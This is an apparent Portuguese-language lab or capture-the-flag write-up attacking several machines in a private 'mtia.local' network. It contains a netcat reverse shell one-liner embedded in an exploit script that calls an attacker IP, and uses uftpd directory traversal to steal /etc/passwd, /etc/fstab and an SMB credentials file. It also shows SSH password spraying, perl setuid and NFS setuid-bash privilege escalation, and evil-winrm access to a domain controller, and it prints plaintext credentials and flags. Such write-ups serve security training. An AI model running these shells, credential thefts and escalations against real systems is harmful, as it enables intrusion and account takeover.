https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Vamos começar por este

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.140 8080
>/tmp/f
```

Exploit modificando a linha 47

```
def main():
    exec_command('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
192.168.200.140 8080 >/tmp/f')
    # exec_command('uname -a')
```

Após executar o script the shell popup

Escalação de Privilégios

Após rodar o linpeas um caminho é um ponto de montagem NFS, onde será preciso conseguir um shell na máquina 192.168.200.201

"20230104223211.png" is not created yet. Click to create.

192.168.200.201

Nmap

```
$ nmap -sC -sV  192.168.200.201
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-04 21:19 EST
Nmap scan report for 192.168.200.201
Host is up (0.00026s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
21/tcp  open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--  1     0     0           94 Jan  5 02:15 todo
| fingerprint-strings:
|   GenericLines, NULL, SMBProgNeg:
|     220 in.ftpd (2.8) ready.
|   Help:
|     220 in.ftpd (2.8) ready.
|     214-The following commands are recognized.
|     ABOR DELE USER PASS SYST TYPE PORT EPRT RETR MKD RMD REST MDTM PASV
```

```
|     EPSV QUIT LIST NLST MLST MLSD CLNT OPTS PWD STOR CWD CDUP SIZE NOOP
|     HELP FEAT
|     Help OK.
|   SSLSessionReq:
|     220 in.ftpd (2.8) ready.
|     command '
|_    recognized by server.
|_ftp-bounce: bounce working!
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 be0bd0954289324cf5efd81568620a8a (RSA)
|   256 ef48a31a007986f263f4857f0578dfdb (ECDSA)
|_  256 7f3326153b43a44c01e757a650ca7b3a (ED25519)
25/tcp  open  smtp    Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2022-11-28T15:34:28
|_Not valid after:  2032-11-25T15:34:28
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.93%I=7%D=1/4%Time=63B633AF%P=x86_64-pc-linux-gnu%r(NULL,
SF:1A,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n")%r(GenericLines,1A,"220
SF:\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n")%r(Help,EC,"220\x20in\.ftpd\x2
SF:0\(2\.8\)\x20ready\.\r\n214-The\x20following\x20commands\x20are\x20reco
SF:gnized\.\r\n\x20ABOR\x20DELE\x20USER\x20PASS\x20SYST\x20TYPE\x20PORT\x2
SF:0EPRT\x20RETR\x20MKD\x20RMD\x20REST\x20MDTM\x20PASV\r\n\x20EPSV\x20QUIT
SF:\x20LIST\x20NLST\x20MLST\x20MLSD\x20CLNT\x20OPTS\x20PWD\x20STOR\x20CWD\
SF:x20CDUP\x20SIZE\x20NOOP\r\n\x20HELP\x20FEAT\r\n214\x20Help\x20OK\.\r\n"
SF:)%r(SSLSessionReq,46,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n500\x20
SF:command\x20'\x16\x03'\x20not\x20recognized\x20by\x20server\.\r\n")%r(SM
SF:BProgNeg,1A,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n");
Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 30.86 seconds
```

Nmap Full

```
$ nmap -sC -sV -p- 192.168.200.201
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-04 21:17 EST
Nmap scan report for 192.168.200.201
Host is up (0.00042s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1     0     0           94 Jan  5 02:15 todo
| fingerprint-strings:
|   GenericLines, NULL, SMBProgNeg:
|     220 in.ftpd (2.8) ready.
|   Help:
|     220 in.ftpd (2.8) ready.
|     214-The following commands are recognized.
|     ABOR DELE USER PASS SYST TYPE PORT EPRT RETR MKD RMD REST MDTM PASV
|     EPSV QUIT LIST NLST MLST MLSD CLNT OPTS PWD STOR CWD CDUP SIZE NOOP
|     HELP FEAT
|     Help OK.
|   SSLSessionReq:
|     220 in.ftpd (2.8) ready.
|     command '
|_    recognized by server.
|_ftp-bounce: bounce working!
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 be0bd0954289324cf5efd81568620a8a (RSA)
|   256 ef48a31a007986f263f4857f0578dfdb (ECDSA)
|_  256 7f3326153b43a44c01e757a650ca7b3a (ED25519)
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2022-11-28T15:34:28
|_Not valid after:  2032-11-25T15:34:28
|_ssl-date: TLS randomness does not represent time
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
```

```
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
6521/tcp open  ftp
|_ftp-bounce: bounce working!
| fingerprint-strings:
|   GenericLines, NULL, SMBProgNeg:
|     220 uftpd (2.8) ready.
|   Help:
|     220 uftpd (2.8) ready.
|     214-The following commands are recognized.
|     ABOR DELE USER PASS SYST TYPE PORT EPRT RETR MKD RMD REST MDTM PASV
|     EPSV QUIT LIST NLST MLST MLSD CLNT OPTS PWD STOR CWD CDUP SIZE NOOP
|     HELP FEAT
|     Help OK.
|   SSLSessionReq:
|     220 uftpd (2.8) ready.
|     command '
|_    recognized by server.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1     0     0           94 Jan  5 02:15 todo
2 services unrecognized despite returning data. If you know the
service/version, please submit the following fingerprints at
https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port21-TCP:V=7.93%I=7%D=1/4%Time=63B63329%P=x86_64-pc-linux-gnu%r(NULL,
SF:1A,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n")%r(GenericLines,1A,"220
SF:\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n")%r(Help,EC,"220\x20in\.ftpd\x2
SF:0\(2\.8\)\x20ready\.\r\n214-The\x20following\x20commands\x20are\x20reco
SF:gnized\.\r\n\x20ABOR\x20DELE\x20USER\x20PASS\x20SYST\x20TYPE\x20PORT\x2
SF:0EPRT\x20RETR\x20MKD\x20RMD\x20REST\x20MDTM\x20PASV\r\n\x20EPSV\x20QUIT
SF:\x20LIST\x20NLST\x20MLST\x20MLSD\x20CLNT\x20OPTS\x20PWD\x20STOR\x20CWD\
SF:x20CDUP\x20SIZE\x20NOOP\r\n\x20HELP\x20FEAT\r\n214\x20Help\x20OK\.\r\n"
SF:)%r(SSLSessionReq,46,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n500\x20
SF:command\x20'\x16\x03'\x20not\x20recognized\x20by\x20server\.\r\n")%r(SM
SF:BProgNeg,1A,"220\x20in\.ftpd\x20\(2\.8\)\x20ready\.\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port6521-TCP:V=7.93%I=7%D=1/4%Time=63B63329%P=x86_64-pc-linux-gnu%r(NUL
SF:L,18,"220\x20uftpd\x20\(2\.8\)\x20ready\.\r\n")%r(GenericLines,18,"220\
SF:x20uftpd\x20\(2\.8\)\x20ready\.\r\n")%r(Help,EA,"220\x20uftpd\x20\(2\.8
SF:\)\x20ready\.\r\n214-The\x20following\x20commands\x20are\x20recognized\
SF:.\r\n\x20ABOR\x20DELE\x20USER\x20PASS\x20SYST\x20TYPE\x20PORT\x20EPRT\x
SF:20RETR\x20MKD\x20RMD\x20REST\x20MDTM\x20PASV\r\n\x20EPSV\x20QUIT\x20LIS
SF:T\x20NLST\x20MLST\x20MLSD\x20CLNT\x20OPTS\x20PWD\x20STOR\x20CWD\x20CDUP
SF:\x20SIZE\x20NOOP\r\n\x20HELP\x20FEAT\r\n214\x20Help\x20OK\.\r\n")%r(SSL
SF:SessionReq,44,"220\x20uftpd\x20\(2\.8\)\x20ready\.\r\n500\x20command\x2
```

```
SF:0'\x16\x03'\x20not\x20recognized\x20by\x20server\.\r\n")%r(SMBProgNeg,1
SF:8,"220\x20uftpd\x20\(2\.8\)\x20ready\.\r\n");
Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.82 seconds
```

Vulnerabilidades

Tem um serviço FTP que o nmap não conseguiu identificar, qual o nome do aplicativo de FTP. Porém colocou o que parece ser uma versão 2.8
Outro ponto que dentro do FTP anônimo tem um arquivo chamado **todo**
Com o seguinte conteúdo é possível realizar o download desse arquivo

```
$ ftp 192.168.200.201 21
Connected to 192.168.200.201.
220 in.ftpd (2.8) ready.
Name (192.168.200.201:vagrant): anonymous
230 Guest login OK, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get todo
local: todo remote: todo
229 Entering Extended Passive Mode (|||39233|)
125 Data connection already open; transfer starting.
100%
|***********************************************************************
**********************************************************************|
94        1.09 MiB/s    00:00 ETA
226 Transfer complete.
94 bytes received in 00:00 (2.23 KiB/s)
ftp> quit
221 Goodbye.
$
$
$
$ cat todo
Iris a telefonia reclamou que o compartilhamento não está funcionando. Pode
olhar isso \!\?.
```

```
Me lembro que era algum problema no ponto de montagem.
Quando terminar me avisa.
```

Através do conteúdo é possível verificar que existe uma usuária chamada Iris e que um compartilhamento de arquivos não está funcionando, pode ser algo relacionado ao /etc/fstab, pois é o arquivo responsável por realizar as montagens

Ao executar um Nmap full aparece um serviço FTP na porta 6521 com o seguinte banner **uftpd (2.8)**

Utilizando o searchsploit encontramos um exploit para esse serviço

Realizando o download podemos avaliar melhor o conteúdo do exploit

```
$ searchsploit -m 51000
  Exploit: uftpd 2.10 - Directory Traversal (Authenticated)
      URL: https://www.exploit-db.com/exploits/51000
     Path: /usr/share/exploitdb/exploits/linux/remote/51000.txt
    Codes: CVE-2020-20277
 Verified: False
File Type: ASCII text
Copied to: /home/vagrant/51000.txt
```

```
$ cat 51000.txt
# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)
# Google Dork: N/A
# Exploit Author: Aaron Esau (arinerron)
# Vendor Homepage: https://github.com/troglobit/uftpd
# Software Link: https://github.com/troglobit/uftpd
# Version: 2.7 to 2.10
# Tested on: Linux
# CVE : CVE-2020-20277
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277
# Reference: https://arinerron.com/blog/posts/6
#Product: uftpd 2.7 to 2.10

#Proof-Of-Concept:
1-Arbitrary files could be read using directory traversal if the application
is not running as root after authenticating. If the server has anonymous
login enabled, it will be possible to read arbitrary files even without
```

```
authentication.

#Steps
1-Setup nc listener on attacking machine on TCP port 1258
nc -lnvp 1258

2-Login to the FTP service

3-List files
ftp> ls ../../../

3-Set attacker's IP address and retrieve files
PORT 192,168,200,140,1,1002
RETR ../../../etc/passwd
```

> 20230104233909.png

Usuários

- iris
- maori

Pela mensagem deixada pelo Pedro, vale a pena dar uma olhada no /etc/fstab

Tem informações interessantes

```
$ nc -nlvp 1258
listening on [any] 1258 ...
connect to [192.168.200.140] from (UNKNOWN) [192.168.200.201] 36050
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# systemd generates mount units based on this file, see systemd.mount(5).
# Please run 'systemctl daemon-reload' after making changes here.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
# / was on /dev/sda3 during installation
UUID=440fc136-0432-40ce-93a1-433d7b2b5122 /               ext4
errors=remount-ro 0       1
# /boot was on /dev/sda1 during installation
UUID=048c37aa-c83c-4d36-abd0-2b3d1dadf21e /boot           ext4    defaults
```

```
0       2
# swap was on /dev/sda2 during installation
UUID=c78d3d19-769a-4929-afca-3f171d73b8e2 none            swap    sw
0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0
#VAGRANT-BEGIN
# The contents below are automatically generated by Vagrant. Do not modify.
#VAGRANT-END
#//zeus/share /mnt/share cifs credentials=/home/iris/.smbcredentials 0 0
```

Existe um ponto de montagem Samba com a máquina Zeus e as credenciais estão no arquivo

/home/iris/.smbcredentials

Vamos pegar o conteudo desse arquivo.

```
$ nc -nlvp 1258
listening on [any] 1258 ...
connect to [192.168.200.140] from (UNKNOWN) [192.168.200.201] 50820
username=iris password=PasW0rd432#_TheHardPassword:) domain=mtia.local
```

Com essa credencial podemos tentar realizar um conexão ssh, utilizando uma técnica conhecida como Password Spray

ou seja, possuindo um password tenta-se com todos os usuários do alvo.
Detalhe somente uma vez, para garantir que nenhum conta será bloqueada.

```
$ ssh iris@192.168.200.201
The authenticity of host '192.168.200.201 (192.168.200.201)' can't be
established.
ED25519 key fingerprint is
SHA256:0TMrnx1i2S6nrr/T2nehtNkRSD9OViPQojW6nBGOn4g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.200.201' (ED25519) to the list of known
hosts.
iris@192.168.200.201's password:
```

```
Permission denied, please try again.
iris@192.168.200.201's password:
Permission denied, please try again.
iris@192.168.200.201's password:
$
$ ssh maori@192.168.200.201
maori@192.168.200.201's password:
$
$
$ id

uid=1050(maori) gid=1050(maori) groups=1050(maori)
```

A credencial é válida para o usuário maori

Escalação de Privilégios

Após rodar o Linpeas um provável vetor é uma capability aplicada ao perl

```
$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1050(maori) groups=1050(maori)
#
```

Prova

mtia{ek53a5OQFPbEpAaPxTvZWzVjlvGS}

Escalação de Privilégios 192.168.200.124

```
root@maori:~# mount -t nfs -o vers=3 192.168.200.124:/var/nfs/general /mnt
root@maori:~# cd /mnt/
root@maori:/mnt# ls -la
total 8
drwxr-xr-x  2 root root 4096 Jan  6 01:59 .
drwxr-xr-x 18 root root 4096 Nov 28 15:49 ..
root@maori:/mnt# cp /bin/bash .
root@maori:/mnt# chmod +s bash
root@maori:/mnt#
```

mtia{xGVojIbEVPZRmcgFW4iAr8QyS6xP}

Zeus 192.168.200.100

```
nmap -n -sV --script "ldap* and not brute" -p 389 192.168.200.100 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 20:25 EST
Nmap scan report for 192.168.200.100
Host is up (0.00070s latency).

PORT    STATE SERVICE VERSION
389/tcp open  ldap    Microsoft Windows Active Directory LDAP (Domain:
mtia.local, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=mtia,DC=local
|       ldapServiceName: mtia.local:zeus$@MTIA.LOCAL
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
```

```
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
```

```
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry:
CN=Aggregate,CN=Schema,CN=Configuration,DC=mtia,DC=local
|       serverName: CN=ZEUS,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=mtia,DC=local
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=mtia,DC=local
|       namingContexts: DC=mtia,DC=local
|       namingContexts: CN=Configuration,DC=mtia,DC=local
|       namingContexts: CN=Schema,CN=Configuration,DC=mtia,DC=local
|       namingContexts: DC=DomainDnsZones,DC=mtia,DC=local
|       namingContexts: DC=ForestDnsZones,DC=mtia,DC=local
|       isSynchronized: TRUE
|       highestCommittedUSN: 13194
|       dsServiceName: CN=NTDS Settings,CN=ZEUS,CN=Servers,CN=Default-First-
Site-Name,CN=Sites,CN=Configuration,DC=mtia,DC=local
|       dnsHostName: zeus.mtia.local
|       defaultNamingContext: DC=mtia,DC=local
|       currentTime: 20230110012541.0Z
|_      configurationNamingContext: CN=Configuration,DC=mtia,DC=local
Service Info: Host: ZEUS; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.21 seconds
```

```
$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-
users.realm='mtia.local'" 192.168.200.100 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 20:24 EST
Nmap scan report for 192.168.200.100
Host is up (0.00040s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|     guest@mtia.local
|_    administrator@mtia.local

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
```

```
$ evil-winrm -i 192.168.200.100 -u administrator -p
"PasW0rd432#_TheHardPassword:)"
```

Dentro do Evil-RM executa o seguinte comando
cmd.exe /c "where /r c:/ proof.txt"

type no arquivo